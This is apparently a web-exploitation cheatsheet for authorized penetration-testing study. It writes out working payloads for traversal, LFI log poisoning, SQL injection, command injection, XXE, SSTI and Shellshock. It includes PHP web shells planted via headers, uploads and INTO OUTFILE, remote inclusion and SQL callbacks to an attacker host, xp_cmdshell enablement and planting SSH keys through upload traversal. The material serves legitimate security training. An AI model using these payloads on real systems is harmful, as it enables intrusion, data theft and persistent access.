10.4 Web Exploitation Cheatsheet
Capture a working request and map the application before choosing a test.
Start the first checks →Choose a bounded test from the capability suggested by the evidence.
Follow the finding →← Cheatsheet index · Map the application first · Stage 03 procedures · Mechanics | Strategy map | Study methods: Turn application weaknesses into access
Rule: preserve a valid request, change one thing, compare a control, and name only the primitive proved. Use only on assigned, authorized targets.
10.4.1 Identify exactly which capability the observed result proves Primitive ladder
controlled input -> changed server behavior -> read/write/execute/auth/authz primitive
-> useful artifact/effect -> independently verified access -> re-enumerate
| Result | What it proves | Next question |
|---|---|---|
| Recognizable file content | File read | Does it disclose source, config, users, keys or credentials? |
| Retrievable uploaded marker | File write/storage | Where is it stored, renamed, served and handled? |
| Target command output | OS execution | Which identity/environment, and how is a reliable session obtained? |
| Query true/false difference | Query influence | Which DBMS and extraction mechanism? |
| Another user's data/action | Authorization failure | Which objects, methods and roles are affected? |
| JavaScript in target origin | Browser execution | Which relevant victim and privileged action exist? |
10.4.2 Check whether file handling enables useful read, write or execution File paths and uploads
Traversal/file read:
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH
PHP source disclosure:
curl -skG --data-urlencode 'page=php://filter/convert.base64-encode/resource=index.php' http://TARGET:PORT/index.php
printf '%s' 'BASE64_DATA' | base64 -d
LFI/log execution chain:
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Benign upload first:
printf '%s\n' 'UPLOAD_CANARY_7F31' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=probe.txt;type=text/plain' http://TARGET:PORT/upload
Verify acceptance, server-side name, retrieval URL, exact bytes and response type. Only then test handler-specific execution. Full variants: web file handling.
10.4.3 Prove whether an input can execute an operating-system command Command injection
Run/context: replay requests from the testing workstation with the application's working host, session and parameter; injected commands execute server-side if the hypothesis is confirmed. Decide: reflection or one slow response is inconclusive. After reproducible execution, select a session and listener; confirmed execution with no callback needs route diagnosis, not another injection assumption.
Visible output:
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Blind timing:
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Repeat controls; reflection is not execution and one slow request is not proof. After execution, verify
id/whoami, hostname and working directory, then use Block 7. Full procedure: command and SQL injection.
10.4.4 Validate SQL query influence and select an extraction method Manual SQL injection
Detect with controlled pairs:
VALUE' # parser/error clue
VALUE' AND '1'='1 # true
VALUE' AND '1'='2 # false
UNION shape and displayed column:
' ORDER BY 1-- -
' ORDER BY 2-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
Fingerprint only after injection proof:
MySQL/PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Boolean/time examples:
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Out-of-band proof candidate after in-band/blind methods fail:
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));
Use only a controlled uniquely labelled listener/domain and no sensitive data. A callback proves a server-side request, not full extraction. Database-to-OS execution/OOB requires separate DBMS, privilege, path/feature and egress conditions. SQLmap is prohibited by the current OSCP+ exam guide.
10.4.5 Check whether application permissions or browser execution enable useful access Access control and XSS
IDOR comparison:
GET /api/objects/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
Keep A's session and change only A's object reference to B's. Compare owned, unowned and nonexistent objects; verify read/write/delete effects separately.
Mass assignment candidate:
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register
Verify through a separate login and administrator-only action.
XSS context proof:
<img src=x onerror=alert(document.domain)>
Confirm reflection/storage/DOM sink, target origin and relevant viewer. Browser execution is not a server shell; its value comes from a victim's same-origin actions. Full procedure: access control and XSS.
10.4.6 Find useful access through the confirmed WordPress deployment WordPress
curl -sk https://HOSTNAME/wp-json/ | head
curl -sk https://HOSTNAME/wp-login.php -o wp-login.html
wpscan --url https://HOSTNAME/ --disable-tls-checks --enumerate vp,vt,u --plugins-detection mixed -o wpscan.txt
Verify active core/plugin/theme version and vulnerable configuration manually. After login, map the actual role/capabilities; upload, editor, plugin-install and user-management rights are distinct.
10.4.7 Check whether the server can reach a useful internal resource SSRF
10.4.7.1 Kali listener
# Kali listener
python3 -m http.server LPORT --bind 0.0.0.0
10.4.7.2 hypothetical replay
# hypothetical replay
curl -sk 'https://HOSTNAME/fetch?url=http://LHOST:LPORT/ssrf-marker'
After a controlled callback proves server-side fetching:
curl -sk 'https://HOSTNAME/fetch?url=http://127.0.0.1:PORT/'
curl -sk -X POST https://HOSTNAME/fetch --data-urlencode 'url=http://127.0.0.1:PORT/'
Compare known-open/known-closed destinations. Browser fetch/reflection/redirect is not SSRF; internal content read is not execution.
10.4.7.3 Check parser-specific paths when the request or source supplies a matching clue Conditional parser and template primitives
Open these only when the mapped request or source supplies the stated parser/framework condition. They are manual, bounded proofs—not automated exploitation.
10.4.7.4 SSTI — prove evaluation before choosing an engine-specific primitive
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH
Repeatable computed output supports template evaluation;
49alone does not identify the engine. Confirm engine/version and exposed objects before file or command primitives. Full interpretation.
10.4.7.5 XXE — preserve a working XML request and prove parser-side file read
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
--data-binary @xxe.xml http://TARGET:PORT/PATH
Recognizable file content in the parsed field proves read access; reflected XML does not. DTD rejection or unresolved entities rules out only that parser/configuration path. XInclude and blind boundaries.
10.4.7.6 NoSQL operator injection — compare object-valued input with string controls
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Confirm the resulting identity through a protected route. A
200, cookie or changed error is not authentication by itself. Use only where the framework parses nested objects/operators. Full controls.
10.4.7.7 PHP deserialization — match the gadget chain to installed dependencies
phpggc -l
phpggc -i Monolog/RCE1
phpggc -b Monolog/RCE1 system id > payload.b64
Use only after source/request evidence proves unsafe
unserialize()and the required classes/version are loaded. Base64 is transport, not a bypass; generated bytes are not execution proof. Full prerequisites.
10.4.7.8 Unsafe YAML construction — require an unsafe Python loader
!!python/object/apply:os.system ["id"]
This applies only when controlled YAML reaches an unsafe PyYAML loader. JSON,
yaml.safe_load()and a mere.ymlfilename do not supply the prerequisite. Full failure cues.
10.4.7.9 Shellshock — only a confirmed CGI-to-vulnerable-Bash chain
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
http://TARGET:PORT/cgi-bin/SCRIPT
An attributable UID in the CGI response supports execution; reflected header text does not. This is not a generic payload for PHP/Java routes. Full component checks.
10.4.8 Choose the next check from the failure you observed Fast failure routing
| Symptom | Decision |
|---|---|
200 with normal template | No primitive yet; inspect stable content, normalization and exact parameter |
| Upload returns success but no file | Find final name/path or record as inconclusive |
| Uploaded code downloads/displays | Write/retrieval only; no executable handler |
Quote causes generic 500 | Compare true/false; distinguish DB/app/WAF error |
UNION errors | Recheck context, column count, types and comments |
| Timing is noisy | Repeat control/test and lengthen only within safe lab bounds |
| Object change gives same user's data | Authorization held in that context |
| XSS runs only for tester | Self/reflected path lacks a useful viewer/delivery chain |
10.4.9 Continue with the capability your result enables Handoffs
credential/key/token -> Block 5
product/version/CVE -> Block 6
verified command execution -> Block 7
useful application role -> authenticated Block 3 remap
server-side internal reachability -> enumerate only proved destination/route
new host/address/listener/route -> Block 1
10.4.10 Discover and recognize candidates
Use these discovery checks to find a candidate, then validate the missing conditions. Cues are illustrative; complete synthetic outputs and three-outcome examples are in the linked study entries.
10.4.10.1 Turn application weaknesses into access
10.4.10.1.1 Find: Read files through directory traversal
Find real download/preview/export requests in the behavior map; inspect which filename/path values the normal request accepts.
curl -sk -b cookies.txt -D - 'http://TARGET:PORT/download?file=report.pdf'
Recognize: An application-controlled file selection is the cue to test path confinement; it is not yet arbitrary read.
Validate next: Request a known target-platform file through the real file parameter/path and compare with the normal response. Require recognizable file contents; a reflected filename, error or status change is not a read.
Read files through directory traversal.
10.4.10.1.2 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Untrusted path reaches a filesystem read outside its intended directory; process identity can read the requested file
Linux proof:
curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
Windows proof:
curl -skG --data-urlencode 'file=../../../../../../Windows/System32/drivers/etc/hosts' http://TARGET:PORT/PATH
Decisive output: recognizable contents of the requested target file.
200 OK, a changed template or a filename reflected in an error is not proof.
10.4.10.1.3 Variant — traversal occurs in the URL path
curl -sk --path-as-is 'http://TARGET:PORT/static/../../../../etc/passwd'
--path-as-is prevents curl from collapsing .. before sending the request.
10.4.10.1.4 Variant — basic normalization/filter tests
..%2f..%2f..%2fetc%2fpasswd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
....//....//....//etc/passwd
Try these only after a plain baseline. Preserve the exact decoding layer that accepted the value.
Next: use discovered user homes, application paths and configuration names to retrieve relevant source, keys or credentials. Send recovered authentication material to Block 5 with its source and identity context.
Verify: Require recognizable target-file content and controls that exclude a reflected input or static error page.
If it fails: An empty/denied response can be path depth, normalization or file permissions. If only file read is proven, follow credentials instead of assuming code execution.
10.4.10.1.5 Find: Disclose PHP source through an inclusion wrapper
Inspect the normal page selector, PHP technology evidence and any readable source/configuration clue obtained during mapping.
curl -sk -D - 'http://TARGET:PORT/index.php?page=about'
Recognize: An include-related error suggests an evaluating PHP sink, unlike an ordinary file-download function.
Validate next: Verify that the actual sink accepts a filter wrapper and returns decodable target source; errors alone do not prove it.
10.4.10.1.6 Find: Turn controlled local file content into inclusion execution
After a file/include primitive is demonstrated, use readable configuration to locate the actual log and check whether your harmless request marker is present.
curl -sk -A 'LOG_CANARY' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/PATH/TO/access.log' http://TARGET:PORT/index.php
Recognize: The include/read identity can reach a log containing your controlled input; evaluation and payload preservation still need proof.
Validate next: Separate raw file read from interpreter evaluation, confirm exact file path and encoding, then a minimal command effect.
Turn controlled local file content into inclusion execution.
10.4.10.1.7 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Controlled content survives logging; inclusion identity can read it; interpreter evaluates it; requested command facility is available
curl -sk -A '<?php echo shell_exec($_GET["cmd"]); ?>' http://TARGET:PORT/
curl -skG --data-urlencode 'page=/var/log/apache2/access.log' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Prerequisites: the controlled header is logged, the web identity can read the exact log, the inclusion sink evaluates PHP and the payload survives encoding. On Windows/XAMPP, investigate application-specific paths such as
C:\xampp\apache\logs\access.log.
Decisive output: the unique command output and target execution identity. If code appears as text, only read/inclusion is proven.
10.4.10.1.8 Variant — PHP data wrapper
PAYLOAD=$(printf '%s' '<?php echo shell_exec($_GET["cmd"]); ?>' | base64 -w0)
curl -skG --data-urlencode "page=data://text/plain;base64,$PAYLOAD" --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires URL inclusion in the sink and PHP allow_url_include=On; it is disabled by default in current PHP configurations.
10.4.10.1.9 Variant — remote file inclusion
python3 -m http.server TRANSFER_PORT --bind LHOST
curl -skG --data-urlencode 'page=http://LHOST:TRANSFER_PORT/check.php' --data-urlencode 'cmd=id' http://TARGET:PORT/index.php
Requires remote URL inclusion, a compatible interpreter and target-to-LHOST:TRANSFER_PORT reachability. An absent HTTP request is inconclusive until reachability and filtering are separated.
Verify: Require command-specific output distinct from the logged payload and record hostname/identity.
If it fails: Missing log access, escaping or plain-text reading breaks this chain. Data/RFI variants are viable only when their explicitly listed wrapper/configuration and return-route conditions hold.
10.4.10.1.10 Find: Establish upload acceptance, storage and retrieval
Browse normal attachment/import/profile functions and capture one accepted harmless multipart upload with its returned identifier.
printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
Recognize: The real upload route, field and response identify a storage/retrieval candidate.
Validate next: Retrieve the canary independently; establish stored bytes, final name and account/context before testing execution.
10.4.10.1.11 Find: Execute an uploaded file through a compatible handler
Begin with a verified retrievable upload; inspect final naming, response handling and evidence of the application's actual interpreter.
curl -sk -i http://TARGET:PORT/uploads/FILE
Recognize: A retrievable script may be inert. The interesting detail is how the final location is handled, not acceptance of a script extension.
Validate next: Retrieve the exact stored upload and request it through the candidate server-side handler. Verify an attributable identity marker from that request; uploaded bytes or a 200 response alone do not prove execution.
Execute an uploaded file through a compatible handler.
10.4.10.1.12 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Controlled executable content survives validation; final storage/URL is handled by the compatible interpreter; process execution is permitted
PHP example, only after PHP handler evidence:
printf '%s\n' '<?php if(isset($_GET["cmd"])){echo shell_exec($_GET["cmd"]);} ?>' > check.php
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.php;type=application/x-php' http://TARGET:PORT/upload
curl -skG --data-urlencode 'cmd=id' http://TARGET:PORT/uploads/check.php
Decisive output: target command output. A successful upload that downloads, displays source or returns inert text proves write/retrieval only.
10.4.10.1.13 Variants — isolate validation layers in Burp Repeater
Test one property at a time:
- bypass client-side checks by replaying the raw multipart request;
- filename case or alternate extension only when the observed server maps it to the interpreter;
- multipart
Content-Typeindependently from filename and content; - magic bytes only when server behavior shows content inspection;
- double extensions/trailing characters only when normalization evidence supports them;
- server rename and final response
Content-Type.
curl -sk -b cookies.txt -F 'file=@check.php;filename=check.pHP;type=image/jpeg' http://TARGET:PORT/upload
Changing MIME type is a test of validation, not proof of executable handling.
Verify: Require target command output and identity; acceptance, source download and a 200 status are weaker results.
If it fails: Check extension mapping, server rename, handler location and content transformation. Do not treat every upload-filter bypass as a shell.
10.4.10.1.14 Find: Use upload path control to reach a useful consumer
Inspect an accepted upload's raw multipart filename/path fields and compare the returned destination for one harmless unique filename.
curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
Recognize: An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.
Validate next: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.
Use upload path control to reach a useful consumer.
10.4.10.1.15 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file
First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.
10.4.10.1.16 Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET
Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.
Verify: Independently prove destination and bytes before claiming a privileged consumer or accepted key.
If it fails: Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.
10.4.10.1.17 Find: Prove visible or blind operating-system command injection
Find a mapped feature that runs a system-like operation, inspect its request, and compare a normal value with one bounded command-dependent probe.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
Recognize: The function and output suggest an OS utility consumer; the parameter's parsing boundary is the candidate.
Validate next: Replay the real request with a benign id/whoami marker and a normal control. Require attributable command output, or repeat bounded timing/control tests for a blind sink. Reflected text or one slow response is not execution.
Prove visible or blind operating-system command injection.
10.4.10.1.18 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Input reaches command execution with an exploitable parsing boundary; process identity/runtime can perform the selected proof
10.4.10.1.18.1 Prove command execution through independently recognizable output Visible-output baseline
Start with a benign identity marker appropriate to the inferred operating system:
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
10.4.10.1.18.1.1 Variants — separators, quoting and POST bodies
Test only the forms compatible with the observed command and platform:
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH
For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:
127.0.0.1 & whoami
127.0.0.1 | whoami
10.4.10.1.18.2 Check command execution through repeated control and timing comparisons Blind timing proof
Repeat a control and a bounded-delay request several times:
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Windows candidate after platform evidence:
127.0.0.1 & timeout /t 5
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
10.4.10.1.18.3 After command execution
Linux: id; hostname; pwd
Windows: whoami; hostname; cd
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
Verify: Use reproducible command-specific output or controlled timing comparisons; a server error alone does not prove execution.
If it fails: A callback failure does not disprove already-confirmed execution. Diagnose quoting/interpreter/route at the relevant layer.
10.4.10.1.19 Find: Establish SQL query influence and DBMS context
Map a data lookup/login/search request, preserve its session and compare one changed input with normal/invalid controls.
curl -skG --data-urlencode 'PARAM=NORMAL_VALUE' http://TARGET:PORT/PATH
curl -skG --data-urlencode "PARAM=NORMAL_VALUE'" http://TARGET:PORT/PATH
Recognize: A database-looking error ties the input to a possible query parser; it is a hypothesis until controlled predicates affect query behavior.
Validate next: Identify quote/query context and repeat true/false comparisons; establish the DBMS before DB-specific payloads.
Establish SQL query influence and DBMS context.
10.4.10.1.20 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Input reaches a SQL query; a valid request and stable response baseline exist
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
10.4.10.1.20.1 Establish query influence
Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2
For a numeric context:
1
1 AND 1=1
1 AND 1=2
Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated
500, WAF block or generic application error is not enough.
10.4.10.1.20.2 Test whether query influence changes authentication decisions Authentication-bypass candidate
In an authorized disposable lab, preserve the application's quoting and comment syntax:
' OR 1=1-- -
administrator'-- -
Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.
10.4.10.1.20.3 Find the column count and types needed for a UNION result Determine UNION shape
First establish column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Or increment NULL columns until the query succeeds:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Then find a displayed text-compatible column:
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
10.4.10.1.20.4 Extract only after fingerprinting the DBMS
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.
10.4.10.1.20.5 Infer selected database values through stable response differences Boolean- or time-blind extraction
Choose a stable page marker or content length for true/false comparisons:
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
DBMS-specific time proofs:
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.
Verify: Require repeatable, query-dependent behavior and preserve request/session controls; identify DBMS evidence before DB-specific payloads.
If it fails: Generic errors, WAF responses, caching and broken sessions can imitate SQLi. Rebuild the valid request and test a discriminating control.
10.4.10.1.21 Find: Test a SQL-backed authentication bypass
Use the actual login request already shown to influence SQL, including its real username/password fields and invalid-login control.
curl -sk -i --data-urlencode 'username=USER' --data-urlencode 'password=INVALID_CONTROL' http://TARGET:PORT/login
Recognize: The authentication decision may depend on the injectable query result, creating a bypass candidate.
Validate next: Verify query shape and post-query checks, then independently confirm the resulting session identity/protected action.
10.4.10.1.22 Find: Extract data through UNION and visible SQL results
After controlled SELECT influence, inspect which database result fields are rendered and test the documented column-shape controls.
curl -skG --data-urlencode "PARAM=VALUE' ORDER BY 1-- -" http://TARGET:PORT/PATH
Recognize: A predictable shape boundary in a rendered SELECT suggests a UNION channel, subject to column types and reflection.
Validate next: Confirm column count/types and a query-generated visible marker before extracting selected metadata.
10.4.10.1.23 Find: Infer SQL data through boolean or time-based differences
Start from proven query influence and compare stable true/false controls or repeated baseline timings when no rows are rendered.
curl -sk -o /dev/null -w '%{time_total}\n' --get --data-urlencode 'PARAM=BASELINE_VALUE' http://TARGET:PORT/PATH
Recognize: A repeatable predicate-dependent difference provides an inference channel even without visible rows.
Validate next: Validate controls using a known predicate and separate caching, network load and backend delay.
10.4.10.1.24 Find: Convert database rights into a file or operating-system effect
From the authenticated/injected database context inspect the real role, grants, enabled facilities and server identity before selecting any file/command transition.
SELECT SYSTEM_USER, ORIGINAL_LOGIN();
SELECT IS_SRVROLEMEMBER('sysadmin');
Recognize: Database administration is a useful enabling clue, but it is not an observed OS shell or a domain privilege level.
Validate next: Match the DBMS-specific facility, configuration, OS permission and consumer; verify a minimal actual OS effect.
Convert database rights into a file or operating-system effect.
10.4.10.1.25 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. DBMS-specific privilege and enabled facility; OS service identity, writable/readable destination and a compatible consumer
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
10.4.10.1.26 MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.
10.4.10.1.27 PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.
10.4.10.1.28 MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';
Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
Verify: Verify the resulting host and operating-system identity, or independently verify written/read bytes.
If it fails: Denied DB facility, secure file directory or OS permissions breaks the proposed transition. Retain useful data access and choose another enabled route.
10.4.10.1.29 Find: Cross an object-ownership boundary
Capture object requests for two authorized study accounts and associate each object ID with its owner before making a cross-account comparison.
curl -sk -b lower-role.cookies http://TARGET:PORT/api/objects/OBJECT_ID
Recognize: A private object owned by another controlled account is returned to the lower-context requester.
Validate next: Confirm intended sharing rules, account isolation and actual object content/change with valid controls.
Cross an object-ownership boundary.
10.4.10.1.30 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The server accepts a lower-privilege identity's request for an object it should not access
Use two controlled lab identities and one object owned by each:
GET /api/orders/OBJECT_B HTTP/1.1
Host: DOMAIN
Authorization: Bearer USER_A_TOKEN
- Save user A's successful request for object A.
- Change only the path/query/body object reference to object B.
- Keep A's token.
- Verify disclosure or the intended update/delete effect against B's object.
Decisive output: data or a state change belonging to B under A's context. A different error or
200wrapper is not enough.
Verify: Verify object ownership, requesting identity and the actual unauthorized effect.
If it fails: A 200 response may be a generic page or public object. Validate ownership and intended access before drawing a conclusion.
10.4.10.1.31 Find: Cross role, function or session authorization boundaries
Compare ordinary-user and authorized-administrator requests for a real protected function, preserving method, CSRF/session and arguments.
curl -sk -i -b lower-role.cookies http://TARGET:PORT/ADMIN_PATH
Recognize: A visible administrative route is a lead; only a server-side protected effect establishes the missing role check.
Validate next: Replay a valid authorized action under the lower context and independently inspect its permitted effect.
Cross role, function or session authorization boundaries.
10.4.10.1.32 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The lower-role identity can invoke a protected server-side action without its required authorization
Replay the same operation as:
anonymous -> ordinary user -> alternate ordinary user -> administrator
Compare UI and API paths, then test the legitimate method variants suggested by captured traffic or documentation.
curl -ski -b user-a.cookies http://TARGET:PORT/admin/PATH
curl -ski -X POST -b user-a.cookies -H 'Content-Type: application/json' -d '{"action":"EXPECTED_ACTION"}' http://TARGET:PORT/api/admin/PATH
Failure cue: a route name containing
admindoes not establish a bypass. Verify a privileged read or action under the lower-privileged identity.
Verify: Prove the protected effect and requesting identity; a rendered administrative page without action rights is a weaker finding.
If it fails: Expired cookies, CSRF checks and wrong methods are request-state failures; preserve the valid baseline before assessing authorization.
10.4.10.1.33 Find: Modify a protected property through excessive writable fields
Read a legitimate API profile and inspect its schema/update request for security-sensitive properties not exposed by the user interface.
curl -sk -b cookies.txt http://TARGET:PORT/api/PROFILE_PATH
Recognize: Returned owner/role fields identify properties to investigate; they are not evidence that the server binds them on update.
Validate next: Check accepted writable fields, independent persistence and a resulting permission change.
Modify a protected property through excessive writable fields.
10.4.10.1.34 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. The server binds an untrusted property to a persistent security-relevant field without checking permission
Start with a valid captured registration/update request and add one server-owned property:
curl -ski -X POST -H 'Content-Type: application/json' -d '{"username":"TEST_USER","password":"TEST_PASSWORD","role":"administrator"}' http://TARGET:PORT/api/v1/register
Decisive output: authenticate as the new/updated identity and perform an administrator-only action. An echoed or stored
rolefield may be ignored by authorization logic.
10.4.10.1.35 Variant — method mismatch reveals a valid route
curl -ski http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X OPTIONS http://TARGET:PORT/api/v1/users/USER/password
curl -ski -X PUT -H 'Authorization: Bearer TOKEN' -H 'Content-Type: application/json' -d '{"password":"NEW_PASSWORD"}' http://TARGET:PORT/api/v1/users/USER/password
Use PUT/PATCH only when a 405, Allow header, documentation or JavaScript behavior supports it. Verify the new credential through a separate login.
Verify: Independently reread the object and demonstrate the resulting permitted action under the same account.
If it fails: Ignored/filtered fields disprove that specific assignment route; investigate another property or function boundary.
10.4.10.1.36 Find: Execute browser code and validate a useful same-origin action
Locate a normal reflected/stored input and inspect its final HTML/DOM context in the browser rather than treating raw reflection as execution.
curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH
Recognize: The output context and escaping determine whether browser execution is plausible; the second form is escaped text.
Validate next: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.
Execute browser code and validate a useful same-origin action.
10.4.10.1.37 Commands and use-case variants
Need: A reproducible application request and a controlled input or access-context comparison. Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state
First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:
<img src=x onerror=alert(document.domain)>
Classify the path:
- reflected: victim must visit a crafted request;
- stored: payload persists and a relevant user later renders it;
- DOM-based: client-side code moves controlled data into an executable DOM sink.
Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.
Match the proof to the observed parser context rather than trying a random payload list:
| Observed insertion context | Minimal lab proof candidate | What failure means |
|---|---|---|
| HTML element body | <svg onload=alert(document.domain)> | Sanitization, CSP or non-executable render context |
| Double-quoted attribute | " autofocus onfocus="alert(document.domain) | Quote may be encoded or event attribute stripped |
